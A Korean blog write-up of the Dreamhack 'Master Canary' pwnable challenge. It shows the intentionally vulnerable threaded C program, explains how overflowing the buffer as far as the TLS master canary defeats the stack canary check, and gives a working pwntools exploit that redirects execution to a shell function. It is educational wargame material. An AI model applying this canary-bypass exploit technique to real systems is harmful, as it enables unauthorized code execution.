e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • dvwa
  • BOF
  • Heap
  • X86
  • dreamhack.io
  • wargame
  • how2heap
  • rev-basic
  • 1-day
  • x64

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[Dreamhack] Master Canary - write up

2023. 3. 4. 00:31

Index

문제
보호기법 확인
mc_thread.c
문제 풀이
익스플로잇 코드


Master Canary
Description Exploit Tech: Master Canary에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/359/

문제

보호기법 확인

NX bit와 stack Canary가 켜져있다.

mc_thread.c

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_bytes (char *buf, int len) {
  int idx = 0;
  int read_len = 0;

  for (idx = 0; idx < len; idx++) {
    int ret;
    ret = read(0, buf+idx, 1);
    if (ret < 0) {
      return read_len;
    }
    read_len ++;
  }

  return read_len;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  //read(0, buf, size);
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

giveshell함수가 존재하기 때문에, 이 함수로 RIP를 조작하여 셸을 얻을 수 있다. main함수에서는 thread로 thread_routine함수를 실행시킨다. 이 함수안의 read_bytes함수에서 bof가 발생한다.

문제 풀이

thread_routine함수에서 bof가 발생하는 부분을 보자.

buf 배열의 시작 주소는 rbp-0x110이다. 스택 카나리는 rbp 다음에 push되므로, 상대적인 오프셋은 rbp-0x108(rbp-264)이다.

thread_routine+115에 브레이크 포인트를 걸고, 스택의 rbp-110의 주소를 확인해보자.

버퍼의 시작주소는 0x7fffff7da0de0이다. thread로 입력을 받는 함수가 호출되기 때문에, 이 thread에서의 canary 값은 fs 세그먼트의 +0x28의 값을 복사해온다. 값이 같은 것을 확인할 수 있다.

이 공간까지 bof로 덮어주면 동일한 canary 값으로 변조하여 canary를 우회할 수 있다.

버퍼의 시작주소부터, 이 fs세그먼트의 있는 canary까지의 거리는 0x948이다.

결론적으로 fs_base+0x28의 값과 현재 rbp위에 push된 canary의 값을 동일하게 만들어주고, RIP에 giveshell의 주소를 넣으면 셸을 얻을 수 있다.

익스플로잇 코드

# Name: mc_thread.py
from pwn import *
context.log_level='debug'

#p = remote('host3.dreamhack.games', 13324)
p = process("./mc_thread")
e = ELF('./mc_thread')

giveshell = e.sym['giveshell']
#print(hex(giveshell))

payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)
payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()


Uploaded by N2T

    'Pwnable' 카테고리의 다른 글
    • RTC (Return-to-csu) 기법
    • [Dreamhack] master_canary - write up
    • [Dreamhack] tcache_dup2 - write up
    • [Dreamhack] cmd_center - write up
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바